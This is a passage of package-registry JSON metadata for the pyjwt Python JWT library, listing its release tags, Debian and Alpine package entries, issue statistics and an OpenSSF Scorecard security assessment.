Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.828Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":0.44481054365733114,"forks_count":0.457166392092257,"docker_downloads_count":null,"average":0.22549423393739704},"purl":"pkg:deb/debian/pyjwt?arch=source\u0026distro=debian-12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pyjwt/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pyjwt/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pyjwt/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pyjwt/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pyjwt/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/pyjwt/codemeta","maintainers":[],"registry":{"name":"debian-12","url":"https://packages.debian.org/bookworm","ecosystem":"debian","default":true,"packages_count":34734,"maintainers_count":0,"namespaces_count":4,"keywords_count":2667,"github":"debian","metadata":{"codename":"bookworm","funded_packages_count":395},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.459Z","updated_at":"2026-06-10T05:17:51.014Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/namespaces"}},{"id":13009198,"name":"py3-jwt","ecosystem":"alpine","description":"Python3 JSON Web Token implementation","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_published_at":"2025-04-27T22:28:00.000Z","latest_release_number":"2.10.1-r0","last_synced_at":"2026-04-19T04:04:00.652Z","created_at":"2026-01-31T00:53:59.185Z","updated_at":"2026-05-29T04:00:35.966Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.23/community/x86_64/py3-jwt","install_command":"apk add py3-jwt","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using 